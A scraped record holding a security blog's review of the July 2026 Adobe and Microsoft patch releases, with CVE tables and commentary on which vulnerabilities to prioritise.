Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:04.486630Z"}, {"uuid": "148c8d9d-159e-4563-8f98-44337f995d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54116", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n 